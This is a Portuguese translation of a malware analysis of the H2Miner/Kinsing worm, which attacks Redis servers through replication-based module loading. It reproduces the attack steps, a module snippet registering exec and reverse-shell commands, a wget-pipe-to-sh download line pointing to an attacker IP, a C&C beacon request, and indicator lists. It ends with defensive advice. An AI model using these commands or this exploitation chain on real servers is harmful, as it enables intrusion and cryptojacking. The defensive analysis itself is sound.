Há um dia, um dos servidores do meu projeto foi atacado por um worm semelhante. Procurando uma resposta para a pergunta "O que era exatamente?", encontrei um artigo excelente da equipe de segurança da Alibaba Cloud. Como não consegui encontrar esse artigo no Habr, decidi traduzi-lo especialmente para vocês <3
Entrada
Recentemente, a equipe de segurança da Alibaba Cloud detectou um surto repentino do H2Miner. Esse tipo de worm malicioso explora acessos não autorizados ou senhas fracas do Redis como portas de entrada para seus sistemas, sincroniza seu próprio módulo malicioso com o servidor escravo por meio de sincronização mestre-escravo e, finalmente, baixa esse módulo malicioso para a máquina alvo e executa instruções maliciosas.
No passado, os ataques aos seus sistemas eram realizados principalmente por meio de um método que envolvia tarefas agendadas ou chaves SSH gravadas em sua máquina após o invasor fazer login no Redis. Felizmente, esse método é raramente utilizado devido a problemas de controle de permissões ou diferentes versões do sistema. No entanto, esse método de carregamento de um módulo malicioso pode executar diretamente os comandos do invasor ou obter acesso ao shell, o que é perigoso para o seu sistema.
Devido ao grande número servidores Com quase 1 milhão de instâncias do Redis hospedadas online, a equipe de segurança da Alibaba Cloud, como um lembrete amigável, recomenda que os usuários não permitam o acesso ao Redis a partir da rede e testem regularmente suas senhas quanto à força e vulnerabilidade a ataques de força bruta.
H2Miner
O H2Miner é uma botnet de mineração para sistemas Linux que pode se infiltrar no seu sistema por diversos meios, incluindo Hadoop Yarn, Docker e a vulnerabilidade de Execução Remota de Comandos (RCE) do Redis. A botnet opera baixando scripts maliciosos e malware para minerar seus dados, realizando expansão lateral e mantendo comunicações de comando e controle (C&C).
Redis RCE
Pavel Toporkov compartilhou seu conhecimento sobre esse assunto no ZeroNights 2018. Desde a versão 4.0, o Redis suporta o carregamento de módulos externos, o que permite aos usuários carregar arquivos .so compilados em C no Redis para executar comandos específicos. Esse recurso, embora útil, contém uma vulnerabilidade na qual, no modo mestre-escravo, os arquivos podem ser sincronizados com o escravo por meio do comando `fullresync`. Isso pode ser explorado por um atacante para transferir arquivos .so maliciosos. Após a conclusão da transferência, os atacantes carregam o módulo na instância Redis alvo e executam qualquer comando.
Análise de um worm malicioso
Recentemente, a equipe de segurança da Alibaba Cloud descobriu que o tamanho do grupo de malware H2Miner aumentou drasticamente de forma repentina. De acordo com a análise, o processo geral de ataque é o seguinte:

O H2Miner utiliza a vulnerabilidade de execução remota de código (RCE) do Redis para realizar um ataque completo. Os atacantes visam inicialmente servidores Redis desprotegidos ou servidores com senhas fracas.
Então eles usam o comando config set dbfilename red2.so para alterar o nome do arquivo. Depois disso, os atacantes executam o comando. slaveof Para definir o endereço do host de replicação mestre-escravo.
Quando a instância Redis alvo estabelece uma conexão mestre-escravo com a instância Redis maliciosa pertencente ao atacante, este envia o módulo infectado usando o comando `fullresync` para sincronizar os arquivos. O arquivo `red2.so` é então baixado para a máquina alvo. Os atacantes utilizam o módulo `./red2.so download` para baixar esse arquivo .so. O módulo pode executar os comandos do atacante ou iniciar uma conexão reversa (backdoor) para obter acesso à máquina alvo.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Após executar um comando malicioso como / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1O atacante irá redefinir o nome do arquivo de backup e descarregar o módulo do sistema para apagar seus rastros. No entanto, o arquivo red2.so permanecerá na máquina atacada. Recomenda-se aos usuários que fiquem atentos a esse arquivo suspeito na pasta da instância do Redis.
Além de encerrar alguns processos maliciosos para roubar recursos, o atacante seguiu o script malicioso baixando e executando arquivos maliciosos em formato binário para Isso significa que um nome de processo ou nome de diretório contendo "kinsing" em um host pode indicar que a máquina foi infectada por esse vírus.
De acordo com os resultados da engenharia reversa, o malware executa principalmente as seguintes funções:
- Baixar arquivos e executá-los
- mineração
- Manter as comunicações de comando e controle e executar os comandos do atacante.

Utilize o Masscan para realizar varreduras externas e ampliar seu alcance. Além disso, o endereço IP do servidor de comando e controle (C&C) está embutido no programa, e o host atacado se comunicará com o servidor C&C por meio de requisições HTTP, com as informações do servidor zumbi (servidor comprometido) identificadas no cabeçalho HTTP.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Outros métodos de ataque

Endereços e links usados pelo worm
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
s&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Conselho
Primeiramente, o Redis não deve ser acessível pela internet e deve ser protegido com uma senha forte. Também é importante que os clientes verifiquem se o arquivo red2.so está ausente do diretório do Redis e se "kinsing" não está incluído no nome do arquivo/processo no host.
Fonte: habr.com
